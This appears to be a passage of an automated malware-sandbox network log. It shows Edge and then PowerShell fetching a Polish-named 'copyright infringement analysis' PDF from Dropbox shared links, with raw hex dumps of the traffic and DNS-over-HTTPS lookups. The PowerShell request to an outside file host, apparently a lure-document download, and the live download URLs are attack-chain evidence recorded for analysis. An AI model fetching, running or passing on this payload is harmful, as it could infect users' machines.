2024-12-17 11:12:27 UTC	1390	IN	Data Raw: d0 ce 03 89 61 57 3a e2 0c 48 31 96 53 3b 09 22 96 46 85 74 06 dc 97 14 6e 80 5c 17 6e 36 1a 8d 75 f8 7f 78 5c 36 a8 54 68 6b 72 c2 09 eb c5 52 50 48 b9 ff e5 a7 0f 83 fe 39 c0 51 2f 55 aa a1 dd 0a 37 5c c2 bc b6 5f 75 f5 b9 25 6c 88 f3 83 06 9b 56 b8 4a 65 5e 38 8b ca 20 06 d7 57 1a f5 b5 67 d3 e7 cf d7 5e bd b0 17 96 14 85 5e 3c 5b 03 09 6f 56 e4 52 22 10 cb 74 09 03 2f bd f9 23 7e 95 07 5a 94 28 41 b2 07 11 ae 60 79 c8 fb cd c2 c6 aa 3b ff 69 1b 7c 15 7c 8c 84 24 dc 79 fa e4 d1 a3 a5 ed fe e0 66 98 c6 c9 78 09 45 c6 ed ac 3f 9a 0c c3 a5 83 d4 1b b2 e1 cd d2 d6 64 9c f4 87 a3 da a3 a5 d3 0f 3b df 56 0f 52 3f ec 8d c2 d5 fd 00 d6 3f 8d d2 70 d8 5c da 1a 80 ee 12 ae ae d5 ea 8f 9e 3c a5 a3 07 57 cc bd 02 12 70 3b 73 2e 49 16 9f 4e 31 20 51 39 f9 af 05 8f Data Ascii: aW:H1S;"Ftn\n6ux\6ThkrRPH9Q/U7\_u%lVJe^8 Wg^^<[oVR"t/#~Z(A`y;i\|\|$yfxE?d;VR??p\<Wp;s.IN1 Q9
2024-12-17 11:12:27 UTC	1390	IN	Data Raw: 13 fa f8 51 4e 97 0f d5 84 e9 74 fa 59 da 7c bf e3 19 63 e7 07 e3 a7 9c f0 cd e3 fc 08 b5 3a ce 6e 1e 74 71 58 2e 86 7b e3 3e 33 82 51 35 c1 d9 f3 e4 51 51 26 64 2c af 85 36 8b 9c 7b 7a b0 77 c8 75 fa 03 ca fd a0 c3 ce 9a 6e be f5 7a 7b 67 77 ef cd db fd 77 ef 0f 0e 8f 8e 3f 7c 3c 39 fd f4 f9 cb d7 6f df 7f 30 cf 87 a1 c4 49 7a 7e 91 75 7b fd c1 af e1 68 3c b9 bc ba be f9 5d 6f ac 3d 5b 7f fe e2 ef 97 af f2 63 f2 15 f4 d6 9e 55 aa 4f dd 8a 03 ff c2 3f ab 3f 5d fa b7 46 ff 56 3a 94 2b 20 dc 78 de 0a 95 8b c3 47 91 c8 67 63 2b 40 91 24 6f ca 6e 7d 87 bd d2 71 e7 b6 91 dc ac b1 6c 22 71 23 d8 4d ad 1f 0c cf f9 69 73 e6 2f 50 b6 99 79 ee 77 4a 8a 21 24 4f 4b 33 1e c8 1d fb f4 19 74 19 80 e6 f6 62 bd 83 59 19 a8 db d0 e5 f1 d2 79 f6 89 b5 56 54 75 9f c9 63 20 Data Ascii: QNtY\|c:ntqX.{>3Q5QQ&d,6{zwunz{gww?\|<9o0Iz~u{h<]o=[cUO??]FV:+ xGgc+@$on}ql"q#Mis/PywJ!$OK3tbYyVTuc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49738	162.125.69.15	443	7296	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 11:12:26 UTC	888	OUT	GET /cd/0/get/Cgb0BxxVTZj3W5VPGOATby63qn02Phmng9h4HV2FOsenCZnftBGagxXWqfJGbok_Rw6kYM6bITShviiEO-XLsqd7kX5DhaRGpDQ6OQkDYZJB3Ujq_zG59WV3cwSLHXW4NI398muxG6Le98jk748A_r_i/file?dl=1 HTTP/1.1 Host: uc99ca5580ec3aa1736a13fce9cf.dl.dropboxusercontent.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-12-17 11:12:27 UTC	727	IN	HTTP/1.1 200 OK Content-Type: application/binary Accept-Ranges: bytes Cache-Control: max-age=60 Content-Disposition: attachment; filename="Dokument analizy narusze? praw autorskich.pdf"; filename*=UTF-8''Dokument%20analizy%20narusze%C5%84%20praw%20autorskich.pdf Etag: 1734010037325237d Pragma: public Referrer-Policy: no-referrer Vary: Origin X-Content-Type-Options: nosniff X-Robots-Tag: noindex, nofollow, noimageindex X-Server-Response-Time: 178 Date: Tue, 17 Dec 2024 11:12:26 GMT Server: envoy Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Length: 656088 X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 9aaeb781a6354c9d80bb41ea669b0dba Connection: close
2024-12-17 11:12:27 UTC	15657	IN	Data Raw: 25 50 44 46 2d 31 2e 37 0a 25 e2 e3 cf d3 0a 31 38 20 30 20 6f 62 6a 0a 3c 3c 0a 2f 4c 65 6e 67 74 68 20 32 39 33 0a 2f 4e 20 33 0a 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 0a 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 7d 90 bd 4a c3 00 14 85 bf d4 82 28 8a 83 0e 1d 1c 32 38 b8 68 93 a6 69 52 70 69 22 16 d7 56 a1 a9 53 92 a6 41 ec 4f 48 53 f4 01 74 73 70 75 2b 2e be 80 e8 63 28 08 0e e2 e0 23 88 a0 b3 a4 41 52 90 78 e0 c2 c7 e1 c0 bd f7 40 ae 00 90 97 a0 3f 88 c2 46 dd 10 5b 56 5b 9c 7f 47 40 60 2a db 1d 05 64 4b 80 ef 97 24 fb bc f5 4f 2e 4b 0b 1d 6f e4 02 1f 40 14 b6 ac 36 08 1d 60 cd 4f f8 2c 66 27 e1 cb 98 4f a3 20 02 61 12 73 78 d0 30 41 b8 03 36 fd 19 76 66 d8 0d c2 38 ff 06 ec f4 7b 63 37 bd 9b 25 6f 70 d8 04 5a c0 3a 75 86 0c f1 e9 e1 Data Ascii: %PDF-1.7%18 0 obj<</Length 293/N 3/Filter /FlateDecode>>streamx}J(28hiRpi"VSAOHStspu+.c(#ARx@?F[V[G@`*dK$O.Ko@6`O,f'O asx0A6vf8{c7%opZ:u
2024-12-17 11:12:27 UTC	16384	IN	Data Raw: 36 df 82 1f e2 46 4a be 29 2b 0e 60 bc 93 81 2e 0b 80 9e 3c 57 c4 1c af 36 f6 a5 b3 27 33 a6 1c 38 bd ba 80 5e 5d 30 28 57 28 4b d1 df b8 9a 34 f1 d8 a5 cf b5 e1 32 b6 59 07 e1 ee b0 f4 4c 72 cf 9a c8 4d 0a 5e d6 b7 53 f6 05 40 66 85 fe ff db ff 83 8d 57 dc 4c a4 03 28 e0 c5 af c4 97 55 ea 90 9f 16 67 64 f9 3e 87 a2 0b 33 7e 5b a2 eb 6b 6f 94 6a aa 22 fd be b8 a9 bf 4a 24 ef b2 d7 cd 53 0f 54 88 03 f3 33 f6 22 95 e7 af b2 d4 b7 de 78 d8 3a 52 a5 16 4d 8a 00 5c 45 21 56 4e eb f8 61 df 5b 52 d7 16 b4 87 cd 5f 6b be a5 4b e5 69 62 bb b7 96 57 74 55 5c 82 28 8f eb 68 05 ae 79 06 04 c3 50 67 31 53 44 b1 ce aa 7d 8f 42 d2 e5 c4 27 8c d7 ee b1 5d 37 f6 2e ef ff 76 65 31 9a 9c 89 b4 80 ad 0d 0e b9 5d 4a 18 ca 36 ae 69 10 d6 7a 63 d8 a0 a9 64 03 88 19 f8 96 7f b7 Data Ascii: 6FJ)+`.<W6'38^]0(W(K42YLrM^S@fWL(Ugd>3~[koj"J$ST3"x:RM\E!VNa[R_kKibWtU\(hyPg1SD}B']7.ve1]J6izcd
2024-12-17 11:12:27 UTC	727	IN	Data Raw: e3 e0 64 56 b8 0e 8b 92 78 a8 14 ca 0d 3e 88 9c 82 f4 e9 5b ff f3 b4 2e 98 14 c1 44 ab af 8d 37 25 ac 5e e6 83 5a e7 e9 d1 29 61 d4 b0 b5 77 a3 15 67 9e 88 91 bd b2 7b dc 7e 1c 52 3f e1 4e 06 9b 38 9d 13 3e f3 ce e3 ea 5d 53 7a 1a 2f 49 49 51 23 52 2f f2 46 12 41 c5 3c 8c 47 04 fe a2 fa fa 29 a8 40 cf 88 4b 46 42 de f5 8e 62 da 57 df 75 4d 29 78 fa 74 7f 0d 8b 97 35 bc 59 e9 e4 6c 66 c0 38 94 1a 83 4d f5 e7 e5 23 0e e5 7d 61 d2 3c 7a 69 11 43 4f 4f da d9 21 67 13 6d 4b 11 2d cd 30 a5 25 25 b9 84 cd 50 e3 23 ce 9d db f7 b5 b1 89 6a 3e 15 cc 05 bd 07 84 c6 3f 04 06 7f 0e 58 34 32 cc c8 40 91 2f 65 4a ce 0d f8 89 1a 91 e7 17 76 fa 4c 59 48 8b 3b 03 75 9d 26 eb 6b 73 ea fc e3 11 30 a2 b6 32 21 53 9f a3 e1 72 d6 25 c7 90 62 57 16 2c ea 3b cb ce f0 5c 23 9f 48 Data Ascii: dVx>[.D7%^Z)awg{~R?N8>]Sz/IIQ#R/FA<G)@KFBbWuM)xt5Ylf8M#}a<ziCOO!gmK-0%%P#j>?X42@/eJvLYH;u&ks02!Sr%bW,;\#H
2024-12-17 11:12:27 UTC	16384	IN	Data Raw: fb 01 50 e9 9a 72 e3 97 0c 93 97 19 6e 70 d1 4d 63 57 77 39 c7 56 f3 86 4c f8 1b dd 09 3f 90 a0 27 e7 af c6 07 7b 08 86 69 f2 4d 25 e9 3f b8 4b e1 bc 8d 36 c5 df 47 d4 7e b1 2e 21 66 d0 b1 85 5c e4 1f 3f ee d2 7c 71 9c d6 d8 f1 15 eb f9 e6 66 45 3d 92 ee 0e 17 ac bf 34 1f 71 a1 f5 ce cc 2c 2f c3 4b e5 ca f0 53 27 1f 06 aa 92 e6 f2 3a 6d 46 74 fd f6 0a 9a 21 83 48 f2 da 0e 52 7d 43 ce d7 02 c7 5d cd 65 ed df 58 21 24 77 67 4b 8e cd da 87 64 fa c4 5f 4e 56 38 cb 25 f0 29 be 89 f5 75 df f7 c9 55 f6 4b 8d 23 6f 24 b3 6a e5 7f ca e6 26 d6 f1 9e 1b 36 51 92 55 0b 37 94 5c 7a 40 f9 42 fe 95 7b 7a 10 bb df 9d be 27 ce 17 16 18 b5 50 cd 33 4c 11 b8 ac 5a ad 31 f7 f8 6c e5 55 bb 7e 0d ba aa f3 a6 1b ed ea 04 0b 12 cc 8f 5b 67 33 be 1d a3 8c 80 0c c1 76 f4 9f 92 eb Data Ascii: PrnpMcWw9VL?'{iM%?K6G~.!f\?\|qfE=4q,/KS':mFt!HR}C]eX!$wgKd_NV8%)uUK#o$j&6QU7\z@B{z'P3LZ1lU~[g3v
2024-12-17 11:12:27 UTC	16384	IN	Data Raw: 79 f7 75 5c 75 9b d4 5c 90 37 42 10 38 8a 5b 7e 8f 56 ee 54 47 fa f6 e4 e5 37 9d 8e bd b6 9b 77 26 28 26 e8 c3 6a 68 c6 d7 6e 53 e8 89 71 57 c6 39 35 fe cf b0 c8 50 4a e6 74 e9 2e 98 ee 35 ae 80 ef 37 4a 2c a2 05 79 8a fc 99 04 c6 23 c2 ef a6 3a 75 f0 3a c1 4c 05 29 e4 ed 5f af 8d 3d 3d 9f 7a bf 96 dd d4 47 87 a8 4e 30 49 75 d0 20 1c b7 27 a2 37 ae cf f1 e0 24 aa 34 5f 47 8e 67 0d e8 de 0c 93 81 77 13 ee f5 52 51 08 22 b3 fe 65 6f b3 03 ce 85 a4 0f fe 83 79 9a 06 46 b8 2e 8a 84 f8 70 af e4 38 8d 64 19 60 c2 4c 38 d5 16 d8 20 ce 53 d1 45 2d a1 e0 1c af 9c 97 0b 2c 64 31 ce 82 da 5c de 1b 4d af e4 6f 25 e9 e6 52 96 15 da 49 51 68 41 36 3a c5 ac cf 33 0e 12 9d 6d 15 94 64 a6 d0 3f 11 15 88 9b 19 c4 20 98 92 d8 95 6f 04 d6 d2 cb f1 9a e8 5f 5f dc e7 dc ea cd Data Ascii: yu\u\7B8[~VTG7w&(&jhnSqW95PJt.57J,y#:u:L)_==zGN0Iu '7$4_GgwRQ"eoyF.p8d`L8 SE-,d1\Mo%RIQhA6:3md? o__
2024-12-17 11:12:27 UTC	16384	IN	Data Raw: 07 05 d3 04 be dc fc a7 85 80 05 49 df 00 3f d0 54 8e 84 53 0b 98 dd ff d3 0f 6c 97 d3 97 9b eb 57 41 89 93 40 43 d2 fc 5b 8e 3f 49 12 34 5a b6 06 e6 1b cc e1 f0 7a 9d 41 8f df 3a fd ce 3c 62 fe ec a0 91 a6 d5 6e 09 46 a2 b9 60 fe ef 05 f2 21 91 86 8f a9 7d 30 cd 06 fc 25 dd da 20 a9 80 af fd 4f 01 62 1a 12 74 0f 45 1e a5 3a 60 86 8e b0 77 51 47 5e 25 d2 a7 33 52 c7 2c 43 ca 72 80 e3 0f 75 cf 44 6e 15 f8 50 9f cf 5a 4d 4c 13 7c 8e f3 d2 59 1e 4a d1 92 49 0c fe ca 84 8c e3 17 43 02 16 04 62 be 18 9d 0d 5a 3d ac 85 69 5d 46 56 53 d2 71 ad 9e a6 b3 a5 95 10 63 df b4 ea 3d 24 8a aa 82 85 24 0b 60 04 83 62 43 d5 ad 45 78 46 92 e7 92 b7 49 cc be c7 36 fe 47 b1 9e 31 4a 01 3a 41 82 46 0d d5 d3 19 98 56 32 16 ee 9f 84 3d 1a 22 d0 a5 37 3e 24 ec 4e c9 e9 95 a0 7f Data Ascii: I?TSlWA@C[?I4ZzA:<bnF`!}0% ObtE:`wQG^%3R,CruDnPZML\|YJICbZ=i]FVSqc=$$`bCExFI6G1J:AFV2="7>$N
2024-12-17 11:12:28 UTC	16020	IN	Data Raw: 4f 25 e3 d3 eb a4 0d 9f 7a b7 15 c2 07 07 ad 4e 81 14 64 b2 38 ce cf 24 a1 b1 d2 7a ec ce 19 2b 85 73 67 f7 8c 0f 96 3c 36 ac 99 1e de 09 d5 b7 84 28 a5 73 ea f3 94 5d b5 be 3d bd c1 cb c4 f0 17 c6 20 30 79 05 f7 8e 13 52 09 5a 1f a7 a5 12 98 90 5f df 09 82 e0 d1 fe 29 8d 82 f7 3d 52 46 4c bd 75 fa fb b1 f0 da c0 ba 52 50 45 26 e4 d9 0f 15 1e 3d 77 67 cd 2e 31 4b 05 03 26 33 66 10 0c e1 d6 3a 58 c1 e9 be 00 f6 d4 c9 c4 d5 75 9c 1b 8c 1d 37 b6 cc e4 7a 05 19 b0 6a b3 a0 08 ca 80 20 b7 a9 ca 3a 4d 2a 78 57 61 e9 9f 25 45 88 61 26 2a db 3f 7b b3 b3 74 60 92 77 d6 3f 07 b4 b4 a2 52 23 db c3 fd ae bd 3e 53 59 ff 9b 99 22 d6 0c 0a e8 c2 d5 ba a5 0c 16 3a db 8f ce e8 4d a7 58 7a 06 65 a3 56 63 ec e8 5a 39 f2 3e 3a 7f f3 b8 60 25 b3 76 d2 28 3a 12 08 f8 95 22 b7 Data Ascii: O%zNd8$z+sg<6(s]= 0yRZ_)=RFLuRPE&=wg.1K&3f:Xu7zj :MxWa%Ea&?{t`w?R#>SY":MXzeVcZ9>:`%v(:"
2024-12-17 11:12:28 UTC	16384	IN	Data Raw: 82 73 76 bc 72 7b ad fe b4 b0 eb c4 71 fc ca 61 d6 4c a7 c3 f4 05 56 7e 36 49 85 98 0e 2f c9 be 0c b2 c6 58 9f 30 b1 46 43 7b f6 73 aa 82 7f 2f c9 8a 00 20 d0 4a f0 c5 13 68 9a 01 d8 56 73 90 b1 02 63 c9 12 c2 04 e3 c5 90 b3 06 51 cf d6 69 1d 61 aa 87 ca 72 d7 c1 5c 0c 1b f3 b9 49 f7 1e 3d 21 f1 ee 39 60 2b 6b da 4b 39 92 1d ee 51 d5 8c 7d 56 4c 20 c1 eb f5 d7 db 69 fe 5f ca c4 d3 59 4b 4d 4e 49 27 8b aa e9 0e b6 ed 01 f3 15 c3 cb e7 77 47 27 e6 14 57 97 67 0b db 8e ce f0 4d 59 e8 3d 07 e5 e8 1c 5a 2f 4e 52 99 2c d5 d2 9e bb f0 e5 6a f1 32 8b a3 64 08 94 ff 26 cf b0 68 2e 01 ac b1 64 55 51 0a 43 59 16 be 10 87 38 9a d9 b2 27 42 f9 ee bd 55 43 5f 6d 58 e7 6b 37 83 d7 1d 36 72 76 fd e4 c4 f9 36 66 e0 62 7e c1 b0 8d 52 26 cc 79 3f 97 e4 c5 55 35 1d c9 b5 a7 Data Ascii: svr{qaLV~6I/X0FC{s/ JhVscQiar\I=!9`+kK9Q}VL i_YKMNI'wG'WgMY=Z/NR,j2d&h.dUQCY8'BUC_mXk76rv6fb~R&y?U5
2024-12-17 11:12:28 UTC	16384	IN	Data Raw: 00 62 2a 05 de 2c 2e 8f 52 e6 4e 51 7c 97 83 9c f1 5d e1 4e 09 f8 ae 74 a7 74 f8 ae 72 a7 f4 f8 ae 76 a7 44 7c 5b dd 29 03 be 6b dc 29 23 be 6b dd a9 3c 7c 37 bb e5 8c dc 15 31 01 12 96 25 af 42 e7 d0 41 3c 4a 4b ce 60 79 76 f0 94 3a e8 ca 19 74 66 07 4f ab 83 75 6e a2 14 ba de 03 7f f5 c0 5f 1d d0 25 01 7f f8 b6 01 7f f8 6e 00 fe f0 2d 03 7f f8 b6 03 7f f8 76 00 7f f8 76 02 7f f8 6e 04 fe f0 dd 04 fc e1 db ed 96 7a b9 99 7a dc b0 ad 39 21 05 41 b7 89 20 57 25 b8 9e 1b 6d d5 eb 56 3c 2e c5 03 5e d8 0a 0e 30 28 dd 40 8b 72 b2 47 c6 18 7a 53 0c 2b 72 df 96 51 6d 6a 4b 61 08 2d 4d 69 6d 49 e9 69 59 28 06 f1 0f b9 dc 9a 23 9e 1b e1 b4 bb a5 4e 4e b9 0f 56 53 71 42 6f df 13 9c f5 ba b4 60 3f 29 ff 32 3f c2 fa fb e4 9e 54 3b 2d 43 5e 3b 40 1e c0 c0 f5 e9 07 27 Data Ascii: b*,.RNQ\|]NttrvD\|[)k)#k<\|71%BA<JK`yv:tfOun_%n-vvnzz9!A W%mV<.^0(@rGzS+rQmjKa-MimIiY(#NNVSqBo`?)2?T;-C^;@'
2024-12-17 11:12:28 UTC	364	IN	Data Raw: c7 76 9f 77 26 0c 2d 7c 60 d1 d5 11 de cf ed f2 5d f6 14 f8 94 e8 2b 41 0d ee d3 61 a4 20 c6 a9 ed bd d2 dd 05 85 f2 fa ef d0 8a 2e ea 7d bd fe a2 76 a4 73 b7 ab 82 62 bf 8e f0 2d cf 13 a6 97 c3 5a 46 a2 66 81 14 ac c2 f2 b3 ce 6a 6e 2b 6d 76 c0 34 d0 a7 fc 40 89 de 42 d1 85 1a 0d ae 70 d7 4c cd ad a7 62 ad 19 90 b8 9e a7 b4 eb a2 ea c6 88 2d 1b 10 96 8a 90 7a 7c fb cd 50 c9 ba 84 6c 2e 62 96 39 86 e6 75 41 a5 2b 1f 7f 5a 86 10 a8 eb 14 b8 ab e8 56 5a f2 f8 71 7f 92 40 46 aa 86 a8 89 c9 0b a7 de ac 0f f6 95 2b b8 fa f6 a5 f4 b6 71 a8 4e 35 3e bc 55 29 da 0f da 19 13 79 bb c1 2f bf cb 92 b7 5c 9a e5 33 a6 35 cf a3 2b 97 32 cc c9 30 e1 ad 71 79 c8 cb 93 ae 60 53 8e 0a 11 df 8a 89 f9 92 03 b8 0c df 52 f5 64 1a 94 e0 22 aa 93 13 f1 f2 e7 87 ba 66 49 cd de 12 Data Ascii: vw&-\|`]+Aa .}vsb-ZFfjn+mv4@BpLb-z\|Pl.b9uA+ZVZq@F+qN5>U)y/\35+20qy`SRd"fI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49740	162.159.61.3	443	7296	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 11:12:26 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-17 11:12:26 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-12-17 11:12:27 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 17 Dec 2024 11:12:27 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8f367a69f98841f8-EWR alt-svc: h3=":443"; ma=86400
2024-12-17 11:12:27 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 23 00 04 8e fb 28 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom#(c)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49741	162.159.61.3	443	7296	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 11:12:26 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-17 11:12:26 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-12-17 11:12:27 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 17 Dec 2024 11:12:27 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8f367a6a0adb0c8e-EWR alt-svc: h3=":443"; ma=86400
2024-12-17 11:12:27 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 ba 00 04 8e fa 41 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49742	162.159.61.3	443	7296	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 11:12:27 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-17 11:12:27 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-12-17 11:12:27 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 17 Dec 2024 11:12:27 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8f367a6aacc041ba-EWR alt-svc: h3=":443"; ma=86400
2024-12-17 11:12:27 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 00 00 04 8e fa 41 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49753	162.125.67.18	443	8532	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 11:12:28 UTC	270	OUT	GET /scl/fi/51s9d8onfy15b992c2555/Dokument-analizy-narusze-praw-autorskich.pdf?rlkey=rd8jt5nvhndaetvxdprpig90q&dl=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: www.dropbox.com Connection: Keep-Alive
2024-12-17 11:12:29 UTC	4091	IN	HTTP/1.1 302 Found Content-Security-Policy: script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; base-uri 'self' ; frame-src https:// carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; media-src https://* blob: ; frame-ancestors 'self' https://.dropbox.com ; font-src https:// data: ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dr [TRUNCATED] Content-Type: text/html; charset=utf-8 Location: https://uc1d57c7aa7a25fe6f549e38c295.dl.dropboxusercontent.com/cd/0/get/CgY1MXDcZRPnakpGh47TGnd-a3ngFodvPiZea0hrqxVrT6SNLon0oI00KcKBQBdJn0HCPMD59thafM3TiVK4ToKHfRtWA5UmkkWplehqwpQ4Q6VJfmHLFb009whcAGFRH0g657Ko1YMgaP6XBG8yCRIv/file?dl=1# Pragma: no-cache 